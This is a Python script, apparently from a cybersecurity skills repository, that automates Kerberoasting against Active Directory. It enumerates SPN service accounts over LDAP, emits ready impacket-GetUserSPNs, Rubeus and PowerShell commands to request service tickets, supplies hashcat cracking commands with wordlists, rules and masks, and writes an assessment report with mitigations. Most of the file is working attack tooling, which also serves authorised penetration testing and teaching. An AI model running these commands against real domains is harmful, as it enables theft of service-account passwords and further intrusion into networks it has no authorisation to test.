Files
Anthropic-Cybersecurity-Skills/skills/performing-kerberoasting-attack/scripts/process.py
T

372 lines
14 KiB
Python

#!/usr/bin/env python3
"""
Kerberoasting Attack Automation Tool
Automates Kerberoasting workflow including:
- SPN enumeration via LDAP
- TGS ticket request and extraction
- Hash formatting for offline cracking
- Cracking result analysis and reporting
Usage:
python process.py --domain targetdomain.local --dc-ip 10.0.0.1 --username user --password Pass123 --enumerate
python process.py --domain targetdomain.local --dc-ip 10.0.0.1 --username user --password Pass123 --kerberoast
python process.py --analyze-hashes kerberoast_hashes.txt --cracked cracked.txt --output report.md
Requirements:
pip install impacket ldap3 rich
"""
import argparse
import json
import sys
from datetime import datetime
from pathlib import Path
try:
from rich.console import Console
from rich.table import Table
from rich.panel import Panel
except ImportError:
print("[!] Missing dependencies. Install with: pip install rich")
sys.exit(1)
console = Console()
def enumerate_spn_accounts(domain: str, dc_ip: str, username: str, password: str, use_hash: bool = False) -> list[dict]:
"""Enumerate domain accounts with SPNs set via LDAP."""
accounts = []
try:
import ldap3
from ldap3 import Server, Connection, SUBTREE, ALL
# Build LDAP connection
server = Server(dc_ip, get_info=ALL, use_ssl=False)
# Build DN from domain
domain_dn = ",".join([f"DC={part}" for part in domain.split(".")])
if use_hash:
# NTLM authentication with hash
conn = Connection(
server,
user=f"{domain}\\{username}",
password=password,
authentication=ldap3.NTLM,
)
else:
conn = Connection(
server,
user=f"{domain}\\{username}",
password=password,
authentication=ldap3.NTLM,
)
if not conn.bind():
console.print(f"[red][-] LDAP bind failed: {conn.last_error}[/red]")
return accounts
console.print(f"[green][+] Connected to {dc_ip} as {domain}\\{username}[/green]")
# Search for user accounts with SPNs
search_filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"
conn.search(
search_base=domain_dn,
search_filter=search_filter,
search_scope=SUBTREE,
attributes=[
"sAMAccountName",
"servicePrincipalName",
"memberOf",
"adminCount",
"pwdLastSet",
"lastLogon",
"description",
"distinguishedName",
"userAccountControl",
],
)
for entry in conn.entries:
account = {
"samaccountname": str(entry.sAMAccountName) if hasattr(entry, "sAMAccountName") else "",
"spn": [str(spn) for spn in entry.servicePrincipalName] if hasattr(entry, "servicePrincipalName") else [],
"memberof": [str(g) for g in entry.memberOf] if hasattr(entry, "memberOf") else [],
"admincount": str(entry.adminCount) if hasattr(entry, "adminCount") else "0",
"pwdlastset": str(entry.pwdLastSet) if hasattr(entry, "pwdLastSet") else "",
"lastlogon": str(entry.lastLogon) if hasattr(entry, "lastLogon") else "",
"description": str(entry.description) if hasattr(entry, "description") else "",
"dn": str(entry.distinguishedName) if hasattr(entry, "distinguishedName") else "",
}
accounts.append(account)
conn.unbind()
except ImportError:
console.print("[yellow][!] ldap3 not installed. Install with: pip install ldap3[/yellow]")
console.print("[yellow][!] Falling back to demonstration mode...[/yellow]")
except Exception as e:
console.print(f"[red][-] LDAP enumeration failed: {e}[/red]")
return accounts
def request_tgs_tickets(domain: str, dc_ip: str, username: str, password: str, target_users: list[str] | None = None) -> str:
"""Request TGS tickets for SPN accounts using Impacket."""
try:
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime
from impacket import version
import impacket.krb5.asn1
console.print("[yellow][*] Requesting TGS tickets via Impacket...[/yellow]")
console.print(f"[yellow][*] Use impacket-GetUserSPNs for production usage:[/yellow]")
console.print(f"[cyan]impacket-GetUserSPNs {domain}/{username}:'{password}' -dc-ip {dc_ip} -request -outputfile kerberoast.txt[/cyan]")
return f"impacket-GetUserSPNs {domain}/{username}:'{password}' -dc-ip {dc_ip} -request -outputfile kerberoast.txt"
except ImportError:
console.print("[yellow][!] Impacket not installed. Generating command for manual execution.[/yellow]")
commands = []
# Generate Impacket command
commands.append(f"# Impacket GetUserSPNs (Linux)")
commands.append(f"impacket-GetUserSPNs {domain}/{username}:'{password}' -dc-ip {dc_ip} -request -outputfile kerberoast.txt")
commands.append("")
# Generate Rubeus command
commands.append("# Rubeus (Windows)")
commands.append(f".\\Rubeus.exe kerberoast /domain:{domain} /dc:{dc_ip} /outfile:kerberoast.txt")
commands.append("")
# Generate PowerShell command
commands.append("# PowerShell native")
commands.append("Add-Type -AssemblyName System.IdentityModel")
if target_users:
for user in target_users:
commands.append(f'# New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "{user}"')
return "\n".join(commands)
def generate_hashcat_commands(hash_file: str) -> list[str]:
"""Generate hashcat commands for cracking Kerberoast hashes."""
commands = [
f"# RC4 (etype 23) - Most common",
f"hashcat -m 13100 {hash_file} /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule",
"",
f"# AES-128 (etype 17)",
f"hashcat -m 19700 {hash_file} /usr/share/wordlists/rockyou.txt",
"",
f"# AES-256 (etype 18)",
f"hashcat -m 19800 {hash_file} /usr/share/wordlists/rockyou.txt",
"",
f"# Mask attack for common patterns (Season+Year+Special)",
f"hashcat -m 13100 {hash_file} -a 3 '?u?l?l?l?l?l?d?d?d?d?s'",
"",
f"# Combined wordlist + rules",
f"hashcat -m 13100 {hash_file} wordlist.txt -r /usr/share/hashcat/rules/d3ad0ne.rule",
"",
f"# Show cracked passwords",
f"hashcat -m 13100 {hash_file} --show",
]
return commands
def analyze_hash_file(hash_file: str) -> dict:
"""Analyze Kerberoast hash file for statistics."""
stats = {
"total_hashes": 0,
"rc4_hashes": 0,
"aes128_hashes": 0,
"aes256_hashes": 0,
"accounts": [],
}
try:
with open(hash_file, "r") as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
stats["total_hashes"] += 1
# Parse hashcat format: $krb5tgs$23$*user$domain$spn*$hash
if "$krb5tgs$23$" in line:
stats["rc4_hashes"] += 1
elif "$krb5tgs$17$" in line:
stats["aes128_hashes"] += 1
elif "$krb5tgs$18$" in line:
stats["aes256_hashes"] += 1
# Extract account name
parts = line.split("$")
for i, part in enumerate(parts):
if part.startswith("*"):
account = part.strip("*")
stats["accounts"].append(account)
break
except FileNotFoundError:
console.print(f"[red][-] Hash file not found: {hash_file}[/red]")
except Exception as e:
console.print(f"[red][-] Error analyzing hashes: {e}[/red]")
return stats
def generate_report(accounts: list[dict], hash_stats: dict | None, cracked: list[dict] | None, output_path: str):
"""Generate Kerberoasting assessment report."""
report = f"""# Kerberoasting Assessment Report
## Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}
---
## 1. Executive Summary
Kerberoasting assessment identified **{len(accounts)}** domain accounts with Service Principal Names (SPNs) configured. These accounts are vulnerable to offline password cracking attacks that can be performed by any authenticated domain user.
## 2. Enumerated SPN Accounts
| Account | Admin Count | SPNs | Password Last Set | Description |
|---------|-------------|------|-------------------|-------------|
"""
for acc in accounts:
spns = ", ".join(acc.get("spn", [])[:2])
report += f"| {acc['samaccountname']} | {acc.get('admincount', 'N/A')} | {spns} | {acc.get('pwdlastset', 'N/A')} | {acc.get('description', '')[:30]} |\n"
if hash_stats:
report += f"""
## 3. Hash Analysis
| Metric | Value |
|--------|-------|
| Total Hashes | {hash_stats['total_hashes']} |
| RC4 (etype 23) | {hash_stats['rc4_hashes']} |
| AES-128 (etype 17) | {hash_stats['aes128_hashes']} |
| AES-256 (etype 18) | {hash_stats['aes256_hashes']} |
"""
if cracked:
report += f"""
## 4. Cracked Credentials
| Account | Password Strength | Admin | Impact |
|---------|-------------------|-------|--------|
"""
for c in cracked:
report += f"| {c.get('account', 'N/A')} | {c.get('strength', 'N/A')} | {c.get('admin', 'N/A')} | {c.get('impact', 'N/A')} |\n"
report += """
## 5. Recommendations
### Immediate Actions
1. Change passwords for all Kerberoastable accounts to 25+ character random strings
2. Convert service accounts to Group Managed Service Accounts (gMSA) where possible
3. Remove unnecessary SPNs from user accounts
### Long-Term Mitigations
1. Enforce AES-only Kerberos encryption (disable RC4)
2. Implement Fine-Grained Password Policies for service accounts
3. Deploy honeypot SPN accounts with detection alerting
4. Regular auditing of accounts with SPNs
5. Monitor Event ID 4769 for anomalous TGS requests
## 6. MITRE ATT&CK Mapping
| Technique | ID | Status |
|-----------|----|--------|
| Kerberoasting | T1558.003 | Executed |
| Account Discovery | T1087.002 | Executed |
| Permission Groups Discovery | T1069.002 | Executed |
"""
out = Path(output_path)
out.parent.mkdir(parents=True, exist_ok=True)
with open(out, "w") as f:
f.write(report)
console.print(f"[green][+] Report saved to: {output_path}[/green]")
def main():
parser = argparse.ArgumentParser(description="Kerberoasting Attack Automation Tool")
parser.add_argument("--domain", help="Target domain")
parser.add_argument("--dc-ip", help="Domain Controller IP")
parser.add_argument("--username", help="Domain username")
parser.add_argument("--password", help="Password or NTLM hash")
parser.add_argument("--enumerate", action="store_true", help="Enumerate SPN accounts")
parser.add_argument("--kerberoast", action="store_true", help="Request TGS tickets")
parser.add_argument("--analyze-hashes", help="Path to hash file to analyze")
parser.add_argument("--cracked", help="Path to cracked results file")
parser.add_argument("--output", default="./kerberoast_report.md", help="Output path")
parser.add_argument("--generate-commands", action="store_true", help="Generate hashcat commands")
args = parser.parse_args()
accounts = []
if args.enumerate:
if not all([args.domain, args.dc_ip, args.username, args.password]):
console.print("[red][-] --domain, --dc-ip, --username, --password required[/red]")
return
console.print(f"[yellow][*] Enumerating SPN accounts in {args.domain}...[/yellow]")
accounts = enumerate_spn_accounts(args.domain, args.dc_ip, args.username, args.password)
if accounts:
table = Table(title=f"Kerberoastable Accounts in {args.domain}")
table.add_column("Account", style="red bold")
table.add_column("Admin", style="yellow")
table.add_column("SPNs", style="cyan")
table.add_column("Pwd Last Set", style="green")
for acc in accounts:
table.add_row(
acc["samaccountname"],
str(acc.get("admincount", "N/A")),
str(len(acc.get("spn", []))),
acc.get("pwdlastset", "N/A")[:20],
)
console.print(table)
else:
console.print("[yellow][!] No Kerberoastable accounts found (or enumeration failed)[/yellow]")
if args.kerberoast:
if not all([args.domain, args.dc_ip, args.username, args.password]):
console.print("[red][-] --domain, --dc-ip, --username, --password required[/red]")
return
commands = request_tgs_tickets(args.domain, args.dc_ip, args.username, args.password)
console.print(Panel(commands, title="Kerberoasting Commands"))
if args.analyze_hashes:
stats = analyze_hash_file(args.analyze_hashes)
table = Table(title="Hash Analysis")
table.add_column("Metric", style="cyan")
table.add_column("Value", style="green")
table.add_row("Total Hashes", str(stats["total_hashes"]))
table.add_row("RC4 (etype 23)", str(stats["rc4_hashes"]))
table.add_row("AES-128 (etype 17)", str(stats["aes128_hashes"]))
table.add_row("AES-256 (etype 18)", str(stats["aes256_hashes"]))
console.print(table)
if args.generate_commands:
hash_file = args.analyze_hashes or "kerberoast.txt"
commands = generate_hashcat_commands(hash_file)
console.print(Panel("\n".join(commands), title="Hashcat Cracking Commands"))
# Generate report if we have data
if accounts or args.analyze_hashes:
hash_stats = analyze_hash_file(args.analyze_hashes) if args.analyze_hashes else None
generate_report(accounts, hash_stats, None, args.output)
if __name__ == "__main__":
main()